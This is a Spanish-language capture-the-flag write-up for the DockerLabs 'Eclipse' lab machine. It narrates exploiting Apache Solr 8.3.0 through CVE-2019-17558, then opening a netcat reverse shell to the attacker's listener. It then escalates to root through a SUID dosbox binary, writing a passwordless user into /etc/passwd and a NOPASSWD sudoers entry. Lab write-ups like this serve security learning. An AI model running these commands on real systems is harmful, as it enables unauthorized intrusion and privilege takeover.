DockerLabs Eclipse

DockerLabs Eclipse

Esta es una máquina de DockerLabs de nivel medio

·

3 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizamos un escaneo de la dirección IP y podemos observar que solo tenemos disponible el puerto 80.

Usamos el navegador para observar la dirección IP y podemos ver que se trata de una imagen.

Realizamos un escaneo de la dirección IP y no encontramos nada interesante.

Descargamos la imagen, pero no encontramos nada que nos pueda servir. Por ello volveremos a realizar un escaneo de puertos, pero esta vez uno más profundo y podemos observar que tenemos un puerto más.

Al dirigirnos a la dirección podemos observar que se trata de Solr y que tiene la versión 8.3.0.

Aquí tenemos una breve descripción sobre que es.

Buscando información sobre como explotar la versión Solr 8.3 encontramos la siguiente página en la cual explican como funcionan y tienen una prueba de concepto que podemos emplear. https://www.tenable.com/blog/cve-2019-17558-apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability

Al dirigirnos al blog no indican un GitHub que contiene la POC que descargaremos. Luego de descargarlo ejecutamos el archivo y podemos observar que si se ejecutó el comando que ingresamos.

Ya que podemos ejecutar comandos estableceremos una revershell, pero antes debemos iniciar nuestro listener

emplearemos el siguiente comando.

nc 172.17.0.1 1234 -c /bin/bash

Observamos que tenemos acceso.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola.

Realizamos un sudo -l, pero no tenemos el password y no podemos observar así que realizamos un listado de permisos SUID y podemos observar que tenemos uno interesante.

Buscando en la página de GFTOBins podemos observar que encontramos el cómo obtener root.

Como podemos modificar archivos podemos agregar un usuario y lo haríamos de esta manera debemos tener en cuenta que usamos >> en vez de uno, ya que si lo hacemos con uno reemplazaríamos todo el archivo por el texto que ingresamos.

LFILE='/etc/passwd'
/usr/bin/dosbox -c 'mount c /' -c "echo gm4tsy::0:0:root:/root:/bin/bash >>c:$LFILE" -c exit

Pero tratamos de ingresar como el usuario pero no nos permite

Ya que no podemos agregar usuarios o modificar el passwd lo que haremos es agregar al usuario ninhack al archivo sudoers y pueda obtener root sin necesidad de un password. Para ello usaremos el siguiente comando.

LFILE='/etc/sudoers.d/ninhack'
/usr/bin/dosbox -c 'mount c /' -c "echo ninhack ALL=(ALL) NOPASSWD: ALL >c:$LFILE" -c exit

Una vez ingresado si ejecutamos sudo su podemos observar que obtuvimos root. De esta manera culminando esta máquina.


Intento fallido

ya que al crear el usuario no podemos acceder crearemos un archivo nuevo del passwd y retiraremos la x que representa el password de root para luego reemplazarlo con el archivo original, pero al hacerlo el sistema bloquea varios comandos y no es posible continuar y debemos reiniciar la máquina.

LFILE='/etc/passwd'
/usr/bin/dosbox -c 'mount c /' -c "echo '$(cat passwd)'>c:$LFILE" -c exit